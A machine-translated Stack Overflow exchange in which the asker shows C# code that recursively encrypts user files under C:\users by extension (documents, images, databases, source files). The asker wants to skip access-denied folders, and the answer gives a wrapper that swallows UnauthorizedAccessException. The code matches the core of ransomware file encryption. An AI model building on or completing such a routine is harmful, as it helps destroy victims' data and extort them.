当我在某些目录中扫描C:\\users\\<SomeUserName>\\*目录时,我没有访问权限,我搜索了很多如何忽略“未经授权的访问”,现在我需要帮助:/
这是我的代码:
public void encryptDirectory(string location, string password)
{
//extensions to be encrypt
var validExtensions = new[]
{
".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
};
string[] files = Directory.GetFiles(location);
string[] childDirectories = Directory.GetDirectories(location);
for (int i = 0; i < files.Length; i++)
{
string extension = Path.GetExtension(files[i]);
if (validExtensions.Contains(extension))
{
EncryptFile(files[i], password);
}
}
for (int i = 0; i < childDirectories.Length; i++)
{
encryptDirectory(childDirectories[i], password);
}
}发布于 2017-05-26 11:16:57
如果您想忽略某个特定方法引发的异常,编写自己的包装器,捕获希望捕获的异常,并返回一些有用的默认值:
private static string[] GetFilesSafe(string location) {
try {
return Directory.GetFiles(location);
} catch (UnauthorizedAccessException ex) {
Console.Error.WriteLine(ex.Message);
return new string[0];
}
}为Directory.GetDirectories编写类似的包装器,并将直接调用替换为对包装器的调用。这将隐藏访问问题。
https://stackoverflow.com/questions/44199931
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